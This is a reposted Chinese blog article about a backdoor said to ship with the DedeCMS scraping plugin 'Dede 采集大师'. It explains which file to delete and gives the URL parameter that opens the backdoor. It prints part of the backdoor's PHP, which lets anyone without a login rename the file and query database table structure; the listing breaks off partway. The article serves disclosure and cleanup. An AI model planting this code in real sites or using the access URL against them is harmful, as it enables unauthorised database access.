dede小说连载采集?火车头采集器?DEDE采集大师官方留后门的删除办法

你是否正在寻找关于dede采集大师的内容？让我把最直接的东西奉献给你：

dede采集大师官方留后门的删除办法

作者： 字体：[ ] 类型：转载 时间：2011-01-08

说实话，会故意留后门的程序，最好的方法就是别用，。这个后门被发现了，天知道下一个所谓的新版本还会不会冒出更多的后门来。

去除官方后门方法：安装好采集大师后，请立即删除 include目录下的dedesql.query.php文件，如已经安装过，有可能文件已被改名为arc.sqlquery.class.php，找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站，并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说，方法：
你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址，即可打开后门界面。
说实话，会故意留后门的程序，最好的方法就是别用。这个后门被发现了，天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下：

复制代码 代码如下:

<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功！";
}else{
echo "失败！";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名！";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "

以上就是关于dede采集大师的全部内容，相信你一定会非常满意。

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/ruanjian/article-16060-1.html